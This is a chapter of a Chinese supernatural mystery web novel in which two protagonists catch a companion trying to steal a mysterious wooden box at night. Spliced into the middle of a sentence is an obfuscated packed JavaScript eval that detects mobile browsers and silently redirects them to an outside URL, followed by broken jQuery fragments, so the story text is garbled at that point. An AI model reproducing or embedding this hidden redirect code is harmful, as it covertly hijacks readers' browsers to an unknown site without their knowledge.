阴亲(五)
不知道是不是因为进行了交易,掌柜脸上的笑意更浓:“十年之物已兑罄,诸位如还有需要,在下随时恭候。”
说罢,就走回账台,掀帘而去,转瞬无踪。
所有人的目光,如同被无形的线牵引着,死死粘在宋停怀里的那个木盒上。
那里面装着的,是十年阳寿换来的线索,是可能关乎生机的秘钥。
面前这个人,竟然面不改色地换了。
而且非但不藏,还更是招摇地拿着木盒在手里转了转,让盒子叮呤咣啷地响给众人听。
“诸位都散了吧,去休息吧。”宋停扬声打破沉默,“现在养精蓄锐,明日才有命接着玩啊。”
然后他笑着,几步就跟着苏却上了楼梯,在她身后,声音不高不低,却足以让她听清:“明日,我跟你一组。”
苏却脚步未停,甚至连头都没回,只有冷冰冰两个字砸过来:“随你。”
楼下,袁慈邈最终叹了口气,与彭绍方低声商议明日同行探查之事。
周远至拍了拍面无人色、几乎瘫软的卫成风,却也说不出什么安慰的话。
今天是准备日,他们的情况已经一死一瞎。
明日就是婚宴,已经自顾不暇自求多福,如何还有心情再去照顾别人。
只有宋停,看起来全然不在乎自己的生死,又挥霍又嘲讽,像个局外人。
苏却径直走向自己的房门,刚要进去,身后就贴上来一个身影。
宋停从她肩侧伸出手挡了她一下,抢先一步要跨进去,动作自然得仿佛回的是自己的房间。
然而苏却反应更快,她左脚迅捷探出,绊在宋停即将迈入门槛的脚前,同时腰肢发力,整个身子以堪堪擦着宋停的衣侧向内一旋,瞬间翻入屋内。
几乎是同时,她落地无声,右手已然扶住门板,挡在他身前。
两人距离极近,四目相对。
廊道烛光下,苏却看着他布满血丝的眼睛。
“你跟着我,”她一字一顿,带着警告,“没用。”
“公子救了我的命,恩同再造。”宋停非但不退,反而又往前欺近了半分,微微低下头,气息已经拂在苏却的脸上。
他声音里却带着一种让人牙痒痒的笑意:“若是放任我自生自灭,一不小心死了,再无法偿还公子恩情,岂不是要等来生相见?所以……”
他刻意拉长了语调,趁苏却晃神时矮下身,肩膀一缩,脑袋一低,一下就从抵着门的胳膊下方跃了进来。
站直身体后,他又把脑袋向后探。
“所以,苏公子,”他目光落在她紧绷的侧脸上,语调轻佻却又欠打,“你可要对我负责啊。”
苏却白眼一翻,强压下立刻将此人从窗户扔出去的冲动。
这人又疯又赖,像一张烂膏药,简直蛮不讲理。
何必再找什么真假新娘,有此一人就已经足够折磨她了。
而烂膏药此时却往苏却床上一坐:“而且,你不好奇里面是什么东西吗?来来来坐过来,我可能会勉强同意和你一起看。”
苏却几步上前,拎着他肩膀处的衣料,语气里已是嫌弃:“出去。”
宋停变本加厉,往后一仰,理直气壮地拒绝:“不要,没有房间了。”
“有。”
“没被子。”
“我的给你。”
“可那里是死人住过的。”
“那我去。”
“不要,我一个人害怕,万一被吓死了怎么办?”宋停一个滚身,压住了床上的衣服。
“那不正好如你所愿?”苏却冷嗤,伸手去抽衣物。
今天跳水救人,衣服与裹身布条都已经湿透。
虽然需遮掩之处不甚明显,但这些年来日日夜夜她早已习惯,所以还是拧干缠回,只多穿了一件里衣掩盖水痕。
可,她总要换的。
拉扯间,她抬眼,不知何时,他的脸上已褪去了表情。
他看着苏却看了很久,才悠悠开口问道:“难道,你不想看看,人,最阴暗的一面吗?”
苏却没有再说话。
她不清楚自己字条上的“陆”代表着什么意思,但是作为命筹数字来说,它并不小。
她当时也没时间留意别人,不知道大家的情况。
可除去被点的卫成风,宋停也没有出门,如果是按调查中收集到的内容多少来看,末位应该还有一个宋停。
除非宋停今日并未算在排序之中。
或许是因为他今日被救起,算作是今天加入,而他们属于昨天的队伍。
那么为什么宋停今天才加入?如果她没有救他呢?……
突然苏却手上一轻,衣服已经被抽出拿在手里,床上的宋停竟已经阖眼入睡……
她心里一紧。
自己还是太粗心大意了。
刚来的晚上自己沾枕即眠,抬回客栈救治的吕初郎也是躺回床上即入昏睡,刚刚明明还跟自己拉扯交谈的宋停转眼就睡得安详……
一次是巧合,两次就足够不寻常,可自己硬是第三次才发现。
万一出了什么意外,自己怕是死于睡梦之中都浑然不觉。
苏却关了门,将手中衣物撕出一条布,吹灭烛火后飞快地更换。
然后,她抽走了宋停脑袋下面的枕头扔在一侧,一个劲地拍打着他的脸。
她越拍越用劲,可睡着的宋停毫无反应。
他不会要一觉睡到天亮吧?
不多时,她听见外面的廊道有轻微的脚步声,一直在靠近,靠近。
她住在最靠里的一间,对面住的是赵文安。
如果他要过来,并不会是这样的动静。
而且,这人分明是知道客栈房里的枕头有助眠之效,特意在烛灭之后还等了一会儿,才鬼鬼祟祟地来。
目的,肯定是那一只木盒子。
苏却抓起锦被一裹一推,把宋停和木盒裹在一起推向床里侧,自己则躲在床底下,方便及时应对。
然后,门,吱呀一声开了。
苏却屏息,在一片漆黑中听着那人的脚步声,依然无法分辨是谁。
更近了……就在床边了……停在床前了……
苏却双手一伸,从床底一把抓住来人的脚踝,双臂交叉狠狠一绞。
来人猝不及防,双脚被制瞬间失衡,整个人不受控制地仰面向后倒去。
她根本不给对方任何反应的机会。
几乎是滑出床底的同时,她借着身体前冲的势头,右腿膝盖已然下压,重重砸在对方胸腹之间膝盖死死抵住。
她的左手紧扣住对方刚刚试图挣扎的手腕,右臂屈起,手肘已然悬停在对方咽喉上方,随时可以致命下击。
她虽不重,力道却大,但那人全程愣是没有发出一丝呼痛。
但……
如果是寻常男子,即便日常不劳作,也不应该无力反抗任由苏却钳制。
可身下这人……右手明显使不上劲……
“周远至。”苏却在黑暗中叫出了他的名字,没有任何疑问,也没有松手。
那人仍旧一言不发,挺身挣扎了两下,却是徒劳。
就在这时,床榻那边传来窸窣声响,宋停不知何时竟坐起了身。
而且他似乎早有准备,摸索着下了床,趿拉着鞋,慢悠悠地蹭到桌边,途中还不知有意无心地踢了苏却一脚。
他对着手里的火折子吹了一口,微光一闪一晃,房内就亮了起来。
昏黄的光线驱散黑暗,周远至脸色煞白,额上全是冷汗。
“哎呀呀,”宋停夸张地打了个哈欠,踱步过来,蹲在周远至脑袋旁边,歪着头打量他,“周兄,这深更半夜不请自来,是有什么指教吗?”
周远至紧闭双眼,嘴唇哆嗦着,一言不发
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16279577|182496||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
宋停笑了笑,站起身,四处看了看,发现了那件被苏却撕烂的衣服。
“苏公子,劳驾,压稳点儿。”他边说边利落地撕下剩余的布,用布带将周远至的双腕牢牢绑住,打了个死结,然后又继续撕布条,将他的脚踝也捆在了一起。
“好了。”宋停拍拍手,把剩下的布团一团塞进他嘴里,“既然周兄不爱说话,又这么喜欢这个房间,正好明日哪也别去了,留下好好做客吧。”
苏却刚想问点什么,却又发觉到了不对劲的事情。
窗外的天色以肉眼可见的速度褪去墨黑,染上灰白。
远远传来了更夫敲打梆子的声音。
笃,笃,笃……
连续五声,清晰入耳。
五更天了!
这里的夜晚竟也如此短暂,一晃神就过去了。
已经能听到有人醒了以后开门下楼的动静。
苏却坐在地板上,冷眼看着使劲把周远至塞到床底下的宋停:“我只有两个问题要问你,希望你如实回答。第一,你是不是故意的?”
“你问的是哪一件事?”
宋停把周远至塞进床底后,又拿了床上的枕头垫在他脑袋下面,等他睡着后,才吁了口气,靠着床也瘫坐在地上。
“如果是刚刚踢你一脚,我故意的;你拿走枕头以后拍我脸,我装睡,故意的;大庭广众下纠缠你跟你进房间,我也是故意的……毕竟我,没有把握能控制住这个人。”
“好。”苏却点头表示认可,又问,“那么第二,你知道多少?”
“我知道的,几乎都是你们告诉我的。除了……”宋停伸手指了指窗外,“哦对,还有没打开的这个盒子。”
他继续道:“很抱歉,我并非如你心里猜测的那样,是整件事的幕后黑手。对你,我已经坦诚相告,相信你心里应该很清楚,能不能活着我并无所谓,我一直以为自己已经必死无疑。可是……你一定不敢相信。”
“从掌柜手里接过木盒的时候,我的眼前,出现了我临死之时的画面。”宋停伸手在床上摸到了那个木盒,拿在手里。
“在那个画面里,我看到了你。”
“……我?”苏却从来不相信这些怪力乱神。
但这两天……准确来说,这里的昼夜时间异常短暂,根本不能用天来计算。她的所见所历,实在让人匪夷所思。
她不明白,自己的人生从来不曾想过别的什么事,只有一心一意为父母报仇。
为何会突然卷入这种毫无意义的事情之中?
她一直低着头,坐着,直到看见宋停的手。
“起来吧,天已经亮了。”他伸手拉起她,“要知道原因,就应该找出这里的真相,不是吗?”
只是,
咣啷——
楼下传来了好大的动静,不知又发生了何事。
把难得表情正经的宋停吓得一抖,有些尴尬地笑起来。
一下楼,他们两人就看见门口站着两个身形粗犷、面色冷硬,穿着暗红色服饰家仆模样的男人。
靠近门口的地上,尽是碎了的碗盘、流淌的汤汁、沾了灰的糕点小菜。
按理说昨天分了组,总该是按分组入座,还能商量一下接下来的行动。
可赵文安却和彭绍方、金玉明、袁慈邈坐在一起。他们面前碗筷齐全,显然没动,估计是在等那个不会起床,只能躺在苏却床底睡觉的周远至。
吴少凌并没和他们坐在一起,反而站在卫成风的旁边。
他侧着身,苏却看不见他的表情。
反倒是卫成风还挺冷静地坐着,面前的桌子上空荡荡的。
地上那些,原本都应该放在他面前。
“我再说一次,”家丁的声音毫无感情,“奉城主令,请吴少凌吴公子,即刻前往府中,襄理婚仪。”
不是卫成风?!
是吴少凌?!